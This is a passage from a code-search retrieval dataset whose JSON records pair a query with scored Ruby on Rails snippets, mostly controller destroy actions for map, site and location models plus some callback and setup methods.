"text": "def destroy\n\n @title = \"land use mapping\"\n\n @ss = SamplingSite.find(:first, :conditions => [ \"land_use_mappings_id = ?\", params[:id]])\n if [email protected]?\n flash[:error] = \"This entry cannot be deleted until used by another entries in the system...\"\n redirect_to :action => \"index\"\n return\n end\n\n @land_use_mapping = LandUseMapping.find(params[:id])\n @land_use_mapping.destroy\n\n respond_to do |format|\n format.html { redirect_to(land_use_mappings_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "8fb449d66e280d628a8aae9d0e64d073",
"score": "0.6594769",
"text": "def destroy\n @requirement_map = RequirementMap.find(params[:id])\n @requirement_map.destroy\n\n respond_to do |format|\n format.html { redirect_to(requirement_maps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "16d38e0648737bd3ac936b288c2a20ec",
"score": "0.65942174",
"text": "def destroy\n @gmap = Gmap.find(params[:id])\n @gmap.destroy\n\n respond_to do |format|\n format.html { redirect_to gmaps_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0000a4dead90d8a005d84434c477f18f",
"score": "0.65716165",
"text": "def destroy\n @item_mapping.destroy\n respond_to do |format|\n format.html { redirect_to item_mappings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b8c578b329ecad2f9624b7932c39344d",
"score": "0.65501004",
"text": "def destroy\n @role_map = RoleMap.find(params[:id])\n @role_map.destroy\n\n respond_to do |format|\n format.html { redirect_to role_maps_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "967ef20d96c48228c4293c3fa281c573",
"score": "0.6539671",
"text": "def destroy\n @localmap = Localmap.find(params[:id])\n @localmap.destroy\n\n respond_to do |format|\n format.html { redirect_to(localmaps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e7c6acf7d32794d2f47d81edb0449e79",
"score": "0.65173286",
"text": "def delete_maps\n own_maps.each do | map |\n logger.debug \"deleting map #{map.inspect}\"\n map.destroy\n end\n end",
"title": ""
},
{
"docid": "e7c6acf7d32794d2f47d81edb0449e79",
"score": "0.65173286",
"text": "def delete_maps\n own_maps.each do | map |\n logger.debug \"deleting map #{map.inspect}\"\n map.destroy\n end\n end",
"title": ""
},
{
"docid": "3fdb86d1c1d3d1661c50286600b8aa3b",
"score": "0.65172464",
"text": "def destroy\n @mini_map_road = MiniMapRoad.find(params[:id])\n @mini_map_road.destroy\n\n respond_to do |format|\n format.html { redirect_to mini_map_roads_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "eff2b19486ea6d528e5bac0492dc7bc4",
"score": "0.6513163",
"text": "def destroy\n if @map.destroy\n flash[:notice] = \"Map deleted!\"\n else\n flash[:notice] = \"Map wasnt deleted\"\n end\n respond_to do |format|\n format.html { redirect_to(maps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b665af3e40d8ac0ab623e392e177c53f",
"score": "0.650714",
"text": "def destroy\n @roadmap.destroy\n respond_to do |format|\n format.html { redirect_to roadmaps_url, notice: 'Roadmap wurde erfolgreich gelöscht' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1e9f74b3ad37cbd0cc264dec6b7f9911",
"score": "0.6488856",
"text": "def destroy\n @location_mapping.destroy\n respond_to do |format|\n format.html { redirect_to location_mappings_url, notice: 'Location mapping was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9ce878b774d6cd002daa267c511f0967",
"score": "0.64627606",
"text": "def destroy\n @maplocation.destroy\n respond_to do |format|\n format.html { redirect_to maplocations_url, notice: 'Maplocation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bd1b7d3d966f09049d203882d03b54b9",
"score": "0.64610356",
"text": "def destroy\n @usermap.destroy\n respond_to do |format|\n format.html { redirect_to usermaps_url, notice: 'Usermap was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5f652e3cdf8b3a339305c814c0478c14",
"score": "0.6451804",
"text": "def destroy\n @place = @site.places.find(params[:id])\n @place.destroy\n\n respond_to do |format|\n format.html { redirect_to site_places_url(@site) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0893cf5d9ea904f7e7ad1672ce9ac1a8",
"score": "0.64474154",
"text": "def destroy\n @post_code_electorate_map.destroy\n respond_to do |format|\n format.html { redirect_to post_code_electorate_maps_url, notice: 'Post code electorate map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6052b0e457aa522e50a9b467a1bb2860",
"score": "0.6430478",
"text": "def destroy\n @google_map = GoogleMap.find(params[:id])\n @google_map.destroy\n\n respond_to do |format|\n format.html { redirect_to(google_maps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "02617ffdb39bec0808fea8f88e312167",
"score": "0.6412778",
"text": "def destroy\n @orbituarysite = Orbituarysite.find(params[:id])\n @orbituarysite.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "56eab79a50ffb3a91ffc14885a311ba1",
"score": "0.64082295",
"text": "def delete\n render json: Location.delete(params[\"id\"])\n end",
"title": ""
},
{
"docid": "543abe66ec55f971c45a98f9051b6f7b",
"score": "0.6375692",
"text": "def destroy\n @storeloc = Storeloc.find(params[:id])\n @storeloc.itemlocs.each do |loc|\n loc.destroy\n end\n\n @storeloc.destroy\n\n respond_to do |format|\n format.html { redirect_to(storelocs_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b3c1d9924a0e6d8e60e78d5245027ed2",
"score": "0.6374531",
"text": "def destroy\n @gmap.destroy\n respond_to do |format|\n format.html { redirect_to gmaps_url, notice: 'Gmap was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "00da5f59fd569e59942951ef04446a07",
"score": "0.63646084",
"text": "def destroy\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cd2e94c5acb11dfa86dacff2564f56c7",
"score": "0.6360294",
"text": "def destroy\n @geographic_item.destroy\n respond_to do |format|\n format.html { redirect_to geographic_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b9c9fc88e99f5a36085f7eaa880b1602",
"score": "0.6356734",
"text": "def destroy\n @ms_location.destroy\n respond_to do |format|\n format.html { redirect_to ms_locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "990377999ad16a878038f0e13b56d8d5",
"score": "0.6355937",
"text": "def destroy\n @url_mapper.destroy\n respond_to do |format|\n format.html { redirect_to url_mappers_url, notice: 'Url mapper was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bc7180733d11f37915f6d00b1e694d46",
"score": "0.6351112",
"text": "def destroy\n @my_map = current_my_map\n if @way_point.my_map_id == @my_map.id\n @way_point.destroy\n session[:my_map_id] = nil\n respond_to do |format|\n format.html { redirect_to @my_map }\n format.json { head :no_content }\n end\n else\n redirect_to @my_map\n end\n end",
"title": ""
},
{
"docid": "aef208fcee109a9876b49412a63f3cd7",
"score": "0.63449824",
"text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aef208fcee109a9876b49412a63f3cd7",
"score": "0.63449824",
"text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aef208fcee109a9876b49412a63f3cd7",
"score": "0.63449824",
"text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aef208fcee109a9876b49412a63f3cd7",
"score": "0.63449824",
"text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aef208fcee109a9876b49412a63f3cd7",
"score": "0.63449824",
"text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "892c146b047c9a7f8baf03c206d4f0ea",
"score": "0.63447213",
"text": "def destroy\n @map_node = Map::Node.find(params[:id])\n @map_node.destroy\n\n respond_to do |format|\n format.html { redirect_to map_nodes_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d4e925380ce3a640206de4a51d5814fc",
"score": "0.63424826",
"text": "def destroy\n @osm.destroy\n respond_to do |format|\n format.html { redirect_to osms_url, notice: 'Osm was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fac8b50ce049bf3032b18463879e5cf8",
"score": "0.6338879",
"text": "def destroy\n @concept_map = ConceptMap.find(params[:id])\n @concept_map.destroy\n\n respond_to do |format|\n format.js {render :nothing => true}\n format.html { redirect_to conecpt_maps_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ca797224e150fff527f960073cf57355",
"score": "0.6336328",
"text": "def destroy\n @chef_mapping = ChefMapping.find(params[:id])\n @chef_mapping.destroy\n\n respond_to do |format|\n format.html { redirect_to chef_mappings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2ec72caa8cee05d2af8b70b9b4e483a7",
"score": "0.6329287",
"text": "def delete_map\n Log.add_info(request, params.inspect)\n\n raise(RequestPostOnlyException) unless request.post?\n\n group_id = params[:group_id]\n SqlHelper.validate_token([group_id])\n\n @office_map = OfficeMap.get_for_group(group_id, false)\n\n begin\n @office_map.destroy\n rescue => evar\n Log.add_error(request, evar)\n end\n\n @office_map = OfficeMap.get_for_group(group_id, false)\n\n flash[:notice] = t('msg.delete_success')\n render(:partial => 'groups/ajax_group_map', :layout => false)\n end",
"title": ""
},
{
"docid": "08a3640debfe7df6b62ed72088f7072d",
"score": "0.63209826",
"text": "def destroy\n @roadmap_step.destroy\n respond_to do |format|\n format.html { redirect_to roadmap_steps_url, notice: 'Roadmap step was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2212f7bf317cfa0e139d136411756d43",
"score": "0.6318855",
"text": "def destroy\n if @map.destroy\n flash[:notice] = t('.flash')\n else\n flash[:notice] = t('.error')\n end\n respond_to do |format|\n if params[:redirect_back] \n format.html { redirect_to :back}\n else\n format.html { redirect_to(maps_url) }\n end\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "5f261e1548f826f14c5e3a3ec2ae8aa5",
"score": "0.63152826",
"text": "def destroy\n @sitecity = Sitecity.find_by_url(params[:id])\n @sitecity.destroy\n\n respond_to do |format|\n format.html { redirect_to sitecities_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "33978a1bf525e9e52e3724f9c9f2fdd2",
"score": "0.63136274",
"text": "def destroy\n @site_page_keystore.destroy\n respond_to do |format|\n format.html { redirect_to site_page_keystores_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a04af277f7fa7ee9ba909d117199a663",
"score": "0.6308787",
"text": "def destroy\n #@items_location = ItemsLocation.find(params[:id])\n #@items_location.destroy\n\n respond_to do |format|\n format.html { redirect_to items_locations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9979739925c48b74463ff8a0c3bc42da",
"score": "0.6307903",
"text": "def destroy\n @view_mapping = ViewMapping.find(params[:id])\n @view_mapping.destroy\n\n respond_to do |format|\n format.html { redirect_to view_mappings_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d0411553cecc0a797e17de62242dd465",
"score": "0.63030183",
"text": "def destroy\n @entity_mapping = EntityMapping.find(params[:id])\n @entity_mapping.destroy\n\n respond_to do |format|\n format.html { redirect_to entity_mappings_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d1f0a8e8c97a0438790f1ddeeecaca29",
"score": "0.6298683",
"text": "def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"title": ""
},
{
"docid": "bb3cde9b6fdba9bbe0854085e9eae016",
"score": "0.6296001",
"text": "def destroy\n @map_state = MapState.find(params[:id])\n @map_state.destroy\n\n respond_to do |format|\n format.html { redirect_to map_states_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "1101ad34f03ddce62d22897223357265",
"score": "0.62917435",
"text": "def destroy\n if @site.columns.size > 0\n flash[:error] = \"该站点存在多个栏目,不能删除\"\n else\n delete_file(@site.logo_file) if [email protected]_file.blank?\n @site.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to cms.sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "57d2e1b36342a8fcf7974b366b03f3b1",
"score": "0.62881905",
"text": "def destroy\n @audio_map.destroy\n respond_to do |format|\n format.html { redirect_to audio_maps_url, notice: 'Audio map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4a3a21323c7bdbd9804bf1cc538210e8",
"score": "0.6266501",
"text": "def destroy\n @csv_map.destroy\n respond_to do |format|\n format.html { redirect_to csv_maps_url, notice: 'Csv map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1fe5fe8fdd4932989765a53fab316458",
"score": "0.62529665",
"text": "def destroy\n @category_map.destroy\n respond_to do |format|\n format.html { redirect_to category_maps_url, notice: 'Category map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1fe5fe8fdd4932989765a53fab316458",
"score": "0.62529665",
"text": "def destroy\n @category_map.destroy\n respond_to do |format|\n format.html { redirect_to category_maps_url, notice: 'Category map was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c959829f6400478c604289b4fab919fd",
"score": "0.6251181",
"text": "def destroy\n @admin_geonode = Admin::Geonode.find(params[:id])\n @admin_geonode.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_geonodes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "40622f6f1dcdedf66fc412c74b2c6cd5",
"score": "0.62481546",
"text": "def destroy\n @sessionmap = Sessionmap.find(params[:id])\n @sessionmap.destroy\n\n respond_to do |format|\n format.html { redirect_to(sessionmaps_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bb53fd7e094a4d63dddc91fbea20ed0f",
"score": "0.6247037",
"text": "def destroy\n #[email protected]\n m_site = MSite.find(params[:id].to_i)\n m_site.del_flg = 1\n m_site.save\n\n respond_to do |format|\n format.html { redirect_to '/m_sites', notice: 'Site was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3d0d6d570da8e2c4421c72e899f5a0a6",
"score": "0.62442344",
"text": "def destroy\n @site.destroy\n respond_to do |format|\n format.html { redirect_to xmt_press_sites_url, notice: '站点删除成功.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "20a8c1d5e7c57c529a8434e87444a27d",
"score": "0.6242258",
"text": "def destroy\n @site = Site.find_by_site(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "71ce235d0ebf3c7a0130987478c21c3e",
"score": "0.62400275",
"text": "def destroy\n @content_mapping = ContentMapping.find(params[:id])\n @content_mapping.destroy\n\n respond_to do |format|\n format.html { redirect_to(content_mappings_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "7070e4dc3849fac5852c0271c9b6d7cc",
"score": "0.62342584",
"text": "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"title": ""
},
{
"docid": "4b391ebc2328a6d9fb517533e09359a1",
"score": "0.62309337",
"text": "def destroy\n @location = apply_scopes(Location).find(params[:id])\n @location.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_locations_url(:site => current_site.id) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "17caeef21bd82fefa8e9286bf119ee15",
"score": "0.6218072",
"text": "def destroy\n debug('Removing location')\n crm('configure', 'delete', @resource[:name])\n @property_hash.clear\n end",
"title": ""
},
{
"docid": "fb4761aceb1bab56f59ebfd3e734f79a",
"score": "0.62048715",
"text": "def destroy\n @site = Site.find(id_from_params)\n\n respond_to do |format|\n if current_user.account.sites.delete(@site)\n format.html { redirect_to root_path }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "e47f431bb516911c2dde0c4443244005",
"score": "0.62035394",
"text": "def destroy\n @bemap = Bemap.find(params[:id])\n @bemap.destroy\n\n respond_to do |format|\n format.html { redirect_to bemaps_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "0ab6a89dd42708be75b2d1eafe367317",
"score": "0.6196451",
"text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0ab6a89dd42708be75b2d1eafe367317",
"score": "0.6196451",
"text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0ab6a89dd42708be75b2d1eafe367317",
"score": "0.6196451",
"text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0ab6a89dd42708be75b2d1eafe367317",
"score": "0.6196451",
"text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0ab6a89dd42708be75b2d1eafe367317",
"score": "0.6196451",
"text": "def destroy\n @site = Site.find(params[:id])\n @site.destroy\n\n respond_to do |format|\n format.html { redirect_to sites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3592c27b0d8a0667d1b842101ddc1ba5",
"score": "0.6195287",
"text": "def destroy\n @map_area = MapArea.find(params[:id])\n @map_area.destroy\n\n respond_to do |format|\n format.html { redirect_to(map_areas_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "3592c27b0d8a0667d1b842101ddc1ba5",
"score": "0.6195287",
"text": "def destroy\n @map_area = MapArea.find(params[:id])\n @map_area.destroy\n\n respond_to do |format|\n format.html { redirect_to(map_areas_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
}
] |
f74c29bdfc4a183e1ec1b91334cd5be2
|
Use callbacks to share common setup or constraints between actions.
|
[
{
"docid": "ecb84a702843c976e20f5a2fbcf4805b",
"score": "0.0",
"text": "def set_topic_quiz\n @topic_quiz = TopicQuiz.find(params[:id])\n end",
"title": ""
}
] |
[
{
"docid": "631f4c5b12b423b76503e18a9a606ec3",
"score": "0.60339177",
"text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end",
"title": ""
},
{
"docid": "7b068b9055c4e7643d4910e8e694ecdc",
"score": "0.60135007",
"text": "def on_setup_callbacks; end",
"title": ""
},
{
"docid": "311e95e92009c313c8afd74317018994",
"score": "0.59219855",
"text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "8315debee821f8bfc9718d31b654d2de",
"score": "0.5913137",
"text": "def initialize(*args)\n super\n @action = :setup\nend",
"title": ""
},
{
"docid": "bfea4d21895187a799525503ef403d16",
"score": "0.589884",
"text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "801bc998964ea17eb98ed4c3e067b1df",
"score": "0.5890051",
"text": "def actions; end",
"title": ""
},
{
"docid": "352de4abc4d2d9a1df203735ef5f0b86",
"score": "0.5889191",
"text": "def required_action\n # TODO: implement\n end",
"title": ""
},
{
"docid": "8713cb2364ff3f2018b0d52ab32dbf37",
"score": "0.58780754",
"text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "a80b33627067efa06c6204bee0f5890e",
"score": "0.5863248",
"text": "def actions\n\n end",
"title": ""
},
{
"docid": "930a930e57ae15f432a627a277647f2e",
"score": "0.58094144",
"text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end",
"title": ""
},
{
"docid": "33ff963edc7c4c98d1b90e341e7c5d61",
"score": "0.57375425",
"text": "def setup\n common_setup\n end",
"title": ""
},
{
"docid": "a5ca4679d7b3eab70d3386a5dbaf27e1",
"score": "0.57285565",
"text": "def perform_setup\n end",
"title": ""
},
{
"docid": "ec7554018a9b404d942fc0a910ed95d9",
"score": "0.57149214",
"text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end",
"title": ""
},
{
"docid": "9c186951c13b270d232086de9c19c45b",
"score": "0.5703237",
"text": "def callbacks; end",
"title": ""
},
{
"docid": "c85b0efcd2c46a181a229078d8efb4de",
"score": "0.56900954",
"text": "def custom_setup\n\n end",
"title": ""
},
{
"docid": "100180fa74cf156333d506496717f587",
"score": "0.56665677",
"text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend",
"title": ""
},
{
"docid": "2198a9876a6ec535e7dcf0fd476b092f",
"score": "0.5651118",
"text": "def initial_action; end",
"title": ""
},
{
"docid": "b9b75a9e2eab9d7629c38782c0f3b40b",
"score": "0.5648135",
"text": "def setup_intent; end",
"title": ""
},
{
"docid": "471d64903a08e207b57689c9fbae0cf9",
"score": "0.56357735",
"text": "def setup_controllers &proc\n @global_setup = proc\n self\n end",
"title": ""
},
{
"docid": "468d85305e6de5748477545f889925a7",
"score": "0.5627078",
"text": "def inner_action; end",
"title": ""
},
{
"docid": "bb445e7cc46faa4197184b08218d1c6d",
"score": "0.5608873",
"text": "def pre_action\n # Override this if necessary.\n end",
"title": ""
},
{
"docid": "432f1678bb85edabcf1f6d7150009703",
"score": "0.5598699",
"text": "def target_callbacks() = commands",
"title": ""
},
{
"docid": "48804b0fa534b64e7885b90cf11bff31",
"score": "0.5598419",
"text": "def execute_callbacks; end",
"title": ""
},
{
"docid": "5aab98e3f069a87e5ebe77b170eab5b9",
"score": "0.5589822",
"text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "9efbca664902d80a451ef6cff0334fe2",
"score": "0.5558845",
"text": "def global_callbacks; end",
"title": ""
},
{
"docid": "482481e8cf2720193f1cdcf32ad1c31c",
"score": "0.55084664",
"text": "def required_keys(action)\n\n end",
"title": ""
},
{
"docid": "353fd7d7cf28caafe16d2234bfbd3d16",
"score": "0.5504379",
"text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end",
"title": ""
},
{
"docid": "dcf95c552669536111d95309d8f4aafd",
"score": "0.5465574",
"text": "def layout_actions\n \n end",
"title": ""
},
{
"docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40",
"score": "0.5464707",
"text": "def on_setup(&block); end",
"title": ""
},
{
"docid": "8ab2a5ea108f779c746016b6f4a7c4a8",
"score": "0.54471064",
"text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend",
"title": ""
},
{
"docid": "e3aadf41537d03bd18cf63a3653e05aa",
"score": "0.54455084",
"text": "def before(action)\n invoke_callbacks *options_for(action).before\n end",
"title": ""
},
{
"docid": "6bd37bc223849096c6ea81aeb34c207e",
"score": "0.5437386",
"text": "def post_setup\n end",
"title": ""
},
{
"docid": "07fd9aded4aa07cbbba2a60fda726efe",
"score": "0.54160327",
"text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "dbebed3aa889e8b91b949433e5260fb5",
"score": "0.5411113",
"text": "def action_methods; end",
"title": ""
},
{
"docid": "9358208395c0869021020ae39071eccd",
"score": "0.5397424",
"text": "def post_setup; end",
"title": ""
},
{
"docid": "cb5bad618fb39e01c8ba64257531d610",
"score": "0.5392518",
"text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "c5904f93614d08afa38cc3f05f0d2365",
"score": "0.5391541",
"text": "def before_setup; end",
"title": ""
},
{
"docid": "a468b256a999961df3957e843fd9bdf4",
"score": "0.5385411",
"text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end",
"title": ""
},
{
"docid": "f099a8475f369ce73a38d665b6ee6877",
"score": "0.53794575",
"text": "def action_run\n end",
"title": ""
},
{
"docid": "2c4e5a90aa8efaaa3ed953818a9b30d2",
"score": "0.5357573",
